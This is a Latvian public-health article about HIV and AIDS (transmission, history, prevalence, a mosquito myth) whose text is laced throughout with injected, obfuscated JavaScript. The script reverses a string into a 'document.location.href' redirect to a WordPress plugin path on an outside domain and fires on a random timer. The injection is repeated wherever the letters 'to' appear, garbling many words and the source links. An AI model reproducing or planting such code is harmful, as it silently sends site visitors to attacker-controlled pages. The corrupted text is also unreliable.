1.decembrī visā pasaulē atzīmēja AIDS dienu. Šogad PVO jo īpaši aicina globālos līderus un iedzīvotājus pievērst uzmanību un cīnīties pret nevienlīdzīgu, novēlotu HIV aprūpes/ārstēšanas saņemšanu un pieejamību pasaulē, kas veicina AIDS gadījumu pieaugumu. 

Vispirms, kas ir HIV un AIDS? 

HIV jeb human immunodeficiency virus (no angļu val. tulkojumā cilvēka imūndeficīta vīruss) vairojas, iznīcinot iekaisuma šūnas asinīs (CD4+ T-limfocītus).  Šīs šūnas ir ļoti nozīmīgas, jo atbild par imunitāti, kā arī aizsargā no dažādām saslimšanām. Tā ka vīruss pats nespēj vairoties, tam ir vajadzīgas šūnas. HIV vīruss piesaistās tieši T-limfocītiem un saplūst ar tiem. Tas izraisa pastiprinātu imūnsistēmas novājināšanos. Ja HIV infekcija netiek ārstēta, cilvēks bieži un smagi slimo ar infekcijas (un cita veida) slimībām. 

AIDS (aquired Immunodeficiency syndrome = iegūtais imūndeficīta sindroms) ir vissmagākā HIV infekcijas stadija, kas attīstās, ja HIV netiek laicīgi un adekvāti ārstēts. Šajā stadijā imunitāte ir vissliktākā un tai nereti ir pievienojušās vairākas smagas saslimšanas, piemēram, onkoloģiskas slimības – limfoma, sarkoma, vai smagas, atkārtoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}totas plaušu saslimšanas, smadzeņu darbības traucējumi u.c. plaša spektra saslimšanas;

Kāpēc ir svarīgi būt izglītoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}totam un zināt plašāk par šīm slimībām? 

Šobrīd medijos/internetā klejo daudz nepatiesu mītu, aizspriedumu par HIV/AIDS. Šī slimība patiešām ir bīstama, taču jāatceras, ka laicīga diagnosticēšana garantē agrīnu ārstēšanas uzsākšanu. Pacienti var lietoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tot zāles, kas palīdz kontrolēt vīrusa vairošanos, un pacienta imūnā sistēma vairākus gadus var būt pietiekoši spēcīga, lai nesaslimtu ar smagām saslimšanām un neattīstītoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tos AIDS stadija. Lai gan tā nav izārstējama saslimšana, ar medikamentiem var izdoties paildzināt dzīvildzi un dzīves kvalitāti

Zinātnieki skaidri izpētījuši, kādos veidos HIV var ienākt organismā: inficēties var saskaroties ar HIV inficēta cilvēka asinīm vai citu ķermeņa šķidrumu, piemēram, spermu, vagināliem izdalījumiem:

  • tas var notikt, ja ir sekss bez prezervatīva ar kādu, kam ir HIV (tas ietver visus seksa veidus – gan vaginālu, gan anālu, gan arī orālo seksu!)
  • daloties ar šļircēm un adatām ar kādu, kam ir HIV
  • bērnam inficējoties no HIV pozitīvas mātes grūtniecības, dzemdību vai zīdīšanas laikā;
  • orālā seksa laikā (nav drošu pierādījumu, ka orālā seksa laikā notiek inficēšanās ar HIV, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tomēr izslēgt šādu iespēju nedrīkst);
  • veicot skaistumkopšanas procedūras (piemēram, pīrsings, tetoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tovējumi, skarifikācija u.c.), medicīniskas manipulācijas (piemēram, akupunktūra u.c.), ja nav pareizi sterilizēti instrumenti;
  • asins pārliešanas laikā (Latvijā asinis pirms pārliešanas tiek pārbaudītas, lai novērstu šādu iespēju)

Zinot, kā var inficēties ar šo vīrusu, mēs kļūstam zinoši un spējam  pasargāt sevi un citus no vīrusa iekļūšanas organismā! 

Kā radies HIV/AIDS? Kāda ir tā izplatība šobrīd? 

HIV/AIDS gadījumi Latvijā tikuši reģistrēti kopš 1987. gada. 

Lai gan AIDS tika atpazīts tikai 1981.g., jau ap 1900.g. var atrast liecības par šīs infekcijas pirmssākumiem – molekulārie pētījumi liecina, ka HIV ir attīstījies no lentivīrusiem, kas ticis atrasts dažās pērtiķu sugās Bioko (Āfrikas salā) un dažās Kamerūnas pērtiķu sugās. 

Šobrīd HIV epidēmija ir sasniegusi katru valsti un gandrīz visas pasaules populācijas. Vissmagākā slimības izplatība vērojama Āfrikā, Dienvidāzijā, bet slimība turpina apdraudēt arī Austrumeiropas, Latīņamerikas, Karību salu iedzīvotāju veselību6. Latvija ir viena no Eiropā vissmagāk skartajām valstīm.

Jauni inficēšanās gadījumi pasaulē 2017.gadā. Attēls no Our World in Data: https://ourworldindata.org/hiv-aids

Izplatīts mīts par HIV/AIDS

“Ar HIV var inficēties ar kukaiņu, insektu, piemēram, odu, kodumiem. “

Paskaidrojums: Tas ir mīts. Lai gan vīruss spēj iekļūt insekta/kukaiņa organismā, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tomēr kukainis ar toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to nevar inficēties un toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to pārnest cilvēkam ar kodieniem. Ir veikti vairāki pētījumi, kas apliecina, ka HIV vīruss nav spējīgs vairoties kukaiņu šūnās, jo uz toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to šūnām trūkst attiecīgo antigēnu, kas ļautu HIV vīrusam piesaistīties šūnām, tajā iekļūt un tur vairoties, kā arī HIV vīruss ir ļoti nenoturīgs un nespēj ilgi izdzīvot oda vai kāda cita kukaiņa organismā. 

Avoti:

World AIDS Day 2021

Rozentāle B. et al. Cilvēka imūndeficīta vīrusa (HIV) infekcijas diagnostikas, ārstēšanas un profilakses klīniskās vadlīnijas. Rīgas Austrumu klīniskās universitātes slimnīcas stacionārs Latvijas Infektoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toloģijas centrs. Rīga, 2014. 1-102. HIV/AIDS VADLĪNIJAS

UpTo Date datubāze 2021. Pacientu izglītoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tošana: pamati par HIV/AIDS $mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}todate-com.db.rsu.lv/contents/hiv-aids-the-basics?search=hiv%20aids%20patient&source=search_result&selectedTitle=2~150&usage_type=default&display_rank=2″>https://www-uptoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}todate-com.db.rsu.lv/contents/hiv-aids-the-basics?search=hiv%20aids%20patient&source=search_result&selectedTitle=2~150&usage_type=default&display_rank=2

https://www.spkc.gov.lv/lv/hiv-infekcija?utm_source=https%3A%2F%2Fwww.google.com%2F

Quinn TC. UpToDate 2021. Global epidemiology of HIV infection. $mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}todate-com.db.rsu.lv/contents/global-epidemiology-of-hiv-infection?search=hiv%20aids%20histoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory&source=search_result&selectedTitle=1~150&usage_type=default&display_rank=1″>https://www-uptoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}todate-com.db.rsu.lv/contents/global-epidemiology-of-hiv-infection?search=hiv%20aids%20histoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory&source=search_result&selectedTitle=1~150&usage_type=default&display_rank=1